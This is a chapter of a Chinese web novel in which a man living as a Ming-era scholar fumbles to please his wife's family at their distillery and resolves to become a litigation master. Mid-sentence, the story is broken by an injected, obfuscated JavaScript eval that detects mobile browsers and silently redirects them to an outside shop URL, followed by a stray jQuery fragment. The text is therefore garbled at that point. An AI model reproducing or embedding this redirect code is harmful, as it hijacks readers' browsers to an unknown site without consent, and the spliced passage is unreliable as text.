文趣网 > 其他小说 > 我在大明当讼棍那些年 > 12. 讼师
    卢元良大约也没想到,这愁绪再多也能被困倦制服,这觉再好睡,也能被凌晨的雄鸡搅的不得安宁。

    他躺在榻上,双拳紧握,幻想自己捏住的是那老公鸡的脖子。

    叫!叫!叫!烦死了!早八都没这么早,有病吧!

    他还在心里骂着,里面卧房里已经传出起床的声音了。卢元良一听,立即翻滚起床。

    试用期法则,能力先放一边,态度一定要好。

    他匆忙搂过鼓凳上的衣服,胡乱套上,腰间绳子一系,比两个女人穿衣打扮快多了,于是等姜琼岚从里间出来时,便看见卢元良一脸憨笑地站在那里。

    天色尚早,只有一层薄薄的烛光从里间透出来,卢元良穿一件蓝衫站在厅里,倒显得温润起来,以至于她竟一时忘了昨夜的恨,只是......

    “噗嗤——”一声,两个女人不约而同地相视一笑,倒把卢元良给笑得摸不着头脑了。

    “姐姐......”他眉头一皱,可怜巴巴的。

    昨天的问题还没想明白呢,今天又添了新问题。

    他又错哪里了?干嘛笑话他?

    谁知姜琼岚也不跟他搭话,甚至听见他说话就把脸一拉,扭头丢了个眼神给花照,接着便出去了。

    “唉,姐......”

    “别动。”花照一把扯住他腰间的绦带,将人往回一拉:“你这系的都是什么呀?可别说春盛都是这样给你系的,怨不得书院的同学笑话你。”

    卢元良低头一看,腰间那根绳子正在花照的手里一下散开,他本能地一捂,花照的手一僵,头跟着抬了起来,眼神怪异地看着他。

    “你藏什么呢?”

    “我藏什么了?”

    “你藏什么自己不知道么?”

    “我知道什么呀?”

    有了之前的经验,他捂裆还有错了?居然还反问他。

    花照呆了一下,忽然把手上的绦带一丢,走的头也不回。

    “嗳?你去哪儿?”

    花照身子立住,头却不回:“不走做什么?难道还要再被训斥一回么?”

    卢元良一听,这是还在记仇呢,立即就软了下来:“不是。”

    他跑到花照面前,近乎哀求:“我的好姐姐,你行行好,能不能告诉我,岚姐儿她昨夜为什么生我的气呀?”

    谁知不提还好,一提这事花照脸色更加难看了:“你自己做的好事,却来问我?”

    “我做什么了?”

    卢元良一脸纯真,这倒把花照给弄迷糊了。

    他怎么不刻薄了?他怎么跟从前不一样了?

    她拿一双眼睛上下扫视着卢元良,也没见哪里不对,可又觉得哪里都不对。

    不管了,先试他一试。

    “哼!别以为我不知道你们这些男人在外头都是什么样子,回到家来倒会装了,有本事你别去呀!”

    “我......我去哪里了?”卢元良的眼睛本来就大,这一睁更大了,看起来别提多无辜了。

    花照看得呆了,什么时候这刻薄秀才变呆头鹅了?亦或是计策显灵,他在外头吃够了苦头,回家来服软了?

    花照一双眼睛盯着他看,也不说话,直盯的卢元良脊背发凉。

    “姐姐......”他低低喊出声。

    他可从没叫过她姐姐。

    花照的心思一转,看样子,厨房那群婆子没有说错,她们这位姐夫身上必定有鬼。

    卢元良不知道花照是怎么想的,只是看见脸盆手巾都端了过来,甚至还有一把蘸了牙粉的粗陋牙刷,他就知道自己在这个家赖下去的可能性又多了一分。

    姜家的生活十多年如一日。

    饭后姜兴文和姜琼岚照旧一道去酒坊,至于做些什么,陆元良既不过问,也不踏入,卢元良便无从得知,于是当他跟在姜家父女身后踏入酒坊的时候,给酒坊那帮人吓了一跳。

    这秀才不是进来就晕嘛?怎么今日精神抖擞的。

    老丈人也发现了身后不远处这根尾巴,却只是回头横了一眼,径直朝库房去了。

    姜琼岚紧随其后,拿他当隐形人。

    卢元良空站院中,看着两人走远,只觉好生没趣,便在檐下随机寻了个男子搭话。

    “你们干嘛呢?”

    对面是个穿短衣的汉子,手上握着一根粗木棍子,裸露的小臂因为用力而鼓起青筋,交领里透出一片小麦色的结实胸膛,听见卢元良问便放下手中活计,抬起一张刚毅过头的脸答道:“舂米,酿酒得先舂米。”

    卢元良低头看看,米粒和着稻壳碎成一截一截,怨不得吃米饭都不是完整的呢。

    要是能发明个碾米机......

    卢元良一捶脑门,有了烧玻璃经验后,他觉得自己这个脑子还是别随便乱动的好,于是露出一排牙问:“然后呢?”

    “煮米,发酵,蒸馏,装坛,运到城里去。”

    那人说话一字一顿的,半个多余的词都没有,卢元良想该不会是哑巴投胎吧。

    “都酿什么酒呀?”

    “烧刀子,城里人爱喝。”

    卢元良一听,烧刀子不就是红星二锅头嘛,那能卖的上价么?

    作为一个在酒桌上吃尽苦头的人,他一下撸起了袖子:“你们怎么不酿黄酒?”

    绍兴黄酒,一听就比烧刀子高级,给他们提个改进计划,自己在这世界也终于有用武之处了。

    谁知那人听的一愣,接着把头一摇,老实道:“俺不会。”

    卢元良也愣了,脑子飞快转起来,然而并没有转出什么真货来。

    要死了,他也不会,他什么都不会。

    姜琼岚酿酒的事他不会,陆元良读书的本事他不会,能在这世界活下去的本事他是一个都不会。

    苍天啊,怎么不给个金手指啊?一点点就行啊。

    卢元良在心中叩问苍天,没注意到不远处的丈人已经来到院中。

    姜兴文站在院中,听卢元良跟陈四搭话,却越听越冒火。

    从前在隔壁闻见酒味便嚷嚷头晕,送他去读书又整日赖在城里,等得了个秀才便两眼一翻,活脱脱一只白眼狼。如今出了谋划为难一下,谁知道这小子立刻变脸,竟吃起回头草来了。

    没骨气,太没骨气了,他们姜家怎么出了这么个东西。

    他恨的牙痒痒,还不如干干脆脆出了银子赶紧滚蛋,见着他就烦。

    “哼!酒坊没待一天,就敢口出狂言,有那耍嘴皮子的本事,就来给我酿一个。”

    “让你读书不肯读,整日跟你那帮狐朋狗友晃荡,连个鬼影都不见,现在倒来我的酒坊指手画脚起来了,我看你也是不知天高地厚。”

    姜兴文一把年纪了却中气十足,说的卢元良大气都不敢喘。

    偷鸡不成蚀把米,他也不想的,他只是找不到办法讨好人而已。

    老丈人正欲再说话时,忽听门外“吁——”的一声,一个青衣小厮从门外进了来。

    卢元良一下认出,是长青酒楼的来宝来了。

    陆元良的记忆混乱的很,卢元良站在那里抽丝剥茧地忆,好半天才缓缓整理出出个大概来。

    姜兴文还有个兄弟姜兴武,在县里开了一家长青酒楼,兄弟二人一个酿酒一个卖酒,这么多年倒是合作愉快。

    陆元良进城读书时,姜兴文也曾拜托弟弟看顾,只是陆元良一直不大乐意去,而是住在县学里,因此并不常见。

    这来宝便是酒楼里的一个伙计,今日来此是运酒来着。

    马车停在院

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746100|209290||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    外,院子里一下热闹起来,比腰粗的坛子一个接一个地抬上马车。

    卢元良有心帮忙,却落得一个跟厨房里相同的下场,被推至院中正不知道该干嘛时,就看见姜琼岚与来宝站在墙边说着话。

    远远地他看见来宝又是皱眉又是拍腿,气急败坏的样子令卢元良一下想起那日严干娘的嘱托。

    他捏着下巴,装作不经意地,慢慢挪了过去。

    “严家大哥我也不知见过几回了,回回都嘱托他回来看看他娘,别说回来了,如今见着我,我还没开口劝他先埋怨上了。”

    “什么日子紧,他自己也难熬,若要再劝,他便叫我替他来看,你说着这......唉!”

    “说到底这是家事,我一个伙计实难开口,若是老爹肯去必然不一般。”

    姜琼岚难得皱眉。

    姜兴文不是没有出面过,可劝了又如何,人又不在村中,就算勉为其难回来一趟,终究也只是让大家面子上过的去罢了,总不能回回都叫自己爹出面吧。

    “岚姐儿,咱就是说这儿女没心,追着打也是没用,今儿我把话带到,可是东西能不能来,咱可不好说。”

    “罢了,你先去传话,严大哥若是不肯,你自替我买了布,也无需同干娘说,免得叫她伤心。”

    “成,这事我去办。”

    来宝回完话,麻溜地跑去点货,倒是姜琼岚皱着眉头,对这桩家事始终想不到解决之道,兀自站在那里发了会子愁,半晌才回转身子,一下对上卢元良那张脸。

    一双大大的乌黑的眼睛正盯着她看呢。

    她眉头皱的更狠了。

    烦,严大哥叫她烦,眼前的男人也叫她烦,一个个的都叫她烦。

    “你在这里做什么?”语气比对来宝还差。

    “我......我想帮帮你嘛。”

    “帮我?酿黄酒么?还是让严大哥回家?”

    卢元良扁了嘴,他可真是万人嫌。

    “闲来无事便去庙里上柱香,少出那些馊主意已是帮我了。”

    姜琼岚甩袖而去,卢元良的嘴扁得更狠了,带着一丝不甘心地看着满院忙碌的人们。

    人人都有事做,人人都有吃饭的本领,唯有他,空有一副皮囊他也用不好,一把子力气在这里还不被允许用,丈人嫌他,妻子嫌他,儿子也与他不熟络,连个下人都不给他好脸色。

    他好不甘心,真的好不甘心。

    卢元良呆呆地靠在墙上,试图寻找一线生机。

    檐下舂米的男人们此刻全都停了手,一坛一坛的酒从库房里被抱出来,陈四从他眼前经过时胳膊上的青筋更加明显了,来宝指挥众人把酒坛架好......

    他能干点什么呢?

    能干点什么呢?

    卢元良不断问自己,忽然灵光一闪,有什么东西被他抓住了。于是在众人惊讶的眼神中飞奔回了后院。

    他和姜琼岚所居的东厢房不小,左侧是卧房,右侧还有一间书房,只是自打他去县学读书后便很少再用。

    他没理会整齐的桌面,径直奔向书架。

    花照打扫的很尽心,书架上几乎一尘不染,他随手捡起一本书翻看,扔开,再捡起一本,翻看,再扔开......

    如此反复,直到把书架上的书悉数翻遍也没有找到他想要的东西。

    “春盛——”

    “春盛——”

    卢元良从后院嚷嚷到前院,直到那青衣书童气喘吁吁地站在他面前。

    “姐夫,找我有事?”

    “去,你现在就去城里,给我买一本大明律回来。”

    “咱买那个做什么?科考可不考那玩意儿。”

    “不是科考。”卢元良凑近他,压低声音道:“我要做讼师。”